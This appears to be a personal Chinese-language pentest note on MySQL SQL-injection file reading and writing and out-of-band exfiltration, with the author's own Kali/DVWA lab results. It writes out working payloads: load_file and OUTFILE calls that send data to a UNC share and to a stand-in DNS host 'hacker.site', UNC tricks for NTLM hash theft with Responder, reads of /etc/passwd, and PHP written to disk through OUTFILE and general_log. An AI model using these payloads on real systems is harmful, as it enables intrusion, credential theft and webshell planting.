# SQL injection 文件操作 OOB ###### tags: `sql injection` ## load_file读文件 ### 設置Load_file狀態 在MySQL注入中DNSlog外帶主要利用MySQL內置函數load_file()函數,load_file()不僅能讀取本地文件也能通過UNC的方式讀取遠程文件。 ### Load_file函數狀態: 要求用户具有file权限 通常root 才有 當secure_file_priv為空,則表示沒有任何限制。 當secure_file_priv為指定目錄,則表示數據庫導入導出只能在指定目錄。 當secure_file_priv為null,則表示不允許導入導出(MySQL 5.7 默認值) ### MySQL中查詢secure_file_priv有以下方式 ``` show variables like '%secure%'; select @@global.secure_file_priv; ``` 以上部分內容轉載自: https://www.freebuf.com/articles/web/323674.html --- ## into outfile写文件 要求用户具有file权限 通常root 才有 文件不能覆盖写入,所以文件必须为不存在 如果secure_file_priv非空,则写入文件的目录只能为对应目录下 ## into dumpfile 写文件 我是想將這些內容 導出到 一個txt文件,事實上是可以完整導出每行記錄的. 這個很適合導庫 而into dump是不行的 它只能導出 一行數據! 若我們想把一個 可執行2進制 文件用into outfile函數導出 事實上 導出後 就會被破壞 因為into outfile 函數 會 在行末端寫入新行 更致命的 是會轉義 換行符 這樣的話這個2進制可執行 文件 就會被破壞 這時候我們用into dumpfile 就能導出 一個完整能執行的2進制 文件 into dumpfile 函數不對任何列或行進行終止,也不執行任何轉義處理 以上部分內容轉載自: https://www.cnblogs.com/milantgh/p/5444398.html --- ## MYSQL 帶外 這是window 橫向滲透,自己開啟一個共享資料夾(所有人可寫入),然後把資料帶到自己的資料夾。 ``` select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt'; select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt; ``` ## DNS Log ``` select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)) ``` ## UNC 路徑 - NTLM 哈希竊取 需要用 responder 工具。基於錯誤的UNC PATH ``` select load_file('\\\\error\\abc'); select load_file(0x5c5c5c5c6572726f725c5c616263); select 'osanda' into dumpfile '\\\\error\\abc'; select 'osanda' into outfile '\\\\error\\abc'; load data infile '\\\\error\\abc' into table database.table_name; ``` # linux 實測 我自己實測,我覺得成功率不高, 首先要設置,就不太可能 ``` secure_file_priv='' ``` ## 讀檔案: 實測就算你開了 secure_file_priv='' 你也把一些檔案開了權限,你也查看了父目錄 你也查看了mysql的權限,有些目錄你就是讀寫不了,這個功能有點玄 mysql 是以 mysql 身份執行 当你在 Linux 系统上安装和配置 MySQL 服务时,它默认会以 mysql 用户的身份运行 有人說要關閉或調整,以下兩個,但我檢查,我根本沒設置,所以原因不明 AppArmor SELinux 幸運一點可以寫入web目錄,不行就只能寫在系統的其他目錄,然後 file inlcusion 可讀 ``` select load_file('/tmp/123.txt'); select load_file('/etc/hosts'); select load_file('/etc/apache2/sites-available/dvwa.com.conf'); SELECT LOAD_FILE('/etc/passwd'); select load_file('/tmp/123.txt'); select load_file('/my_pass_hash.txt'); select load_file '/tmp/123.txt' ; select TO_BASE64(load_file('/tmp/login.php')); 不可讀 select load_file('/home/kali/Desktop/123.txt'); select load_file('/home/kali/123.txt'); select load_file('/home/123.txt'); ``` ``` 可寫 SELECT VERSION() INTO OUTFILE '/tmp/test.txt'; SELECT "<?php phpinfo();?>" INTO OUTFILE '/tmp/test.txt'; SELECT "123" INTO OUTFILE '/var/lib/mysql/123.txt'; SELECT "<?php phpinfo();?>" INTO OUTFILE '/var/lib/mysql/test123.txt'; SELECT FROM_BASE64('PD9waHAgcGhwaW5mbygpOz8+') INTO OUTFILE '/var/lib/mysql/test789.txt'; SELECT UNHEX('3c3f70687020706870696e666f28293b3f3e') INTO OUTFILE '/var/lib/mysql/test.txt'; 不可寫 SELECT VERSION() INTO OUTFILE '/etc/test.txt'; SELECT VERSION() INTO OUTFILE '/etc/apache2/test.txt'; SELECT "123" INTO OUTFILE '/home/kali/Desktop/DVWA/test123.txt'; ``` ## 還有log 寫馬,但我實測也是失敗,或是功能不穩定, ``` SELECT @@global.general_log; SELECT @@global.general_log_file; 可設置 set global general_log='on'; set global general_log_file='/tmp/test_log.txt'; set global general_log_file='/test_log.txt' 不可設置 set global general_log_file='/home/kali/Desktop/test_log.txt'; set global general_log_file='/home/kali/Desktop/test_log.txt'; set global general_log_file='/var/www/html/test123.php'; set global general_log_file='/test123.php'; ``` - 假設你真的成功寫入了檔案,並且不再web目錄,搭配 LFI 的漏洞的文件,所在的目錄 要有RX權限